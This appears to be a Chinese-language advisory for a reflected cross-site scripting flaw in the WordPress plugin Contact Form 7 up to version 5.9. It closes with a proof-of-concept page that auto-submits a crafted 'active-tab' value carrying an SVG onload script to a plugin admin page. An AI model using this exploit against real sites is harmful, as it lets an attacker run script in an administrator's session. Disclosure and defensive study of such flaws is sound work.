Contact Form 7 <= 5.9 - 反射型跨站脚本
WordPress 的 Contact Form 7 插件存在反射型跨站脚本漏洞，影响版本 5.9 及以下。该漏洞通过 'active-tab' 参数实现，原因是输入清理和输出转义不足。这使得未认证的攻击者能够注入任意 Web 脚本，如果能够成功诱使用户执行点击链接等操作，脚本便会在页面中执行。
CVSS: 6.1
Impact: 2.7
Vector: network
User Interaction: required
Privileges Required: none
Published: 2024-03-13
Updated: 2024-03-13
你需要知道表单所在的帖子 ID 值，否则当管理员点击链接时无法生效。总体而言，此漏洞的权限要求应为 High，因为需要管理员点击链接。
<html>
<body>
<form action="http://kubernetes.docker.internal/wp-admin/admin.php">
<input type="hidden" name="page" value="wpcf7" />
<input type="hidden" name="post" value="4478" />
<input type="hidden" name="active-tab" value="'"><svg/onload=prompt(7);>{{7*7}}" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>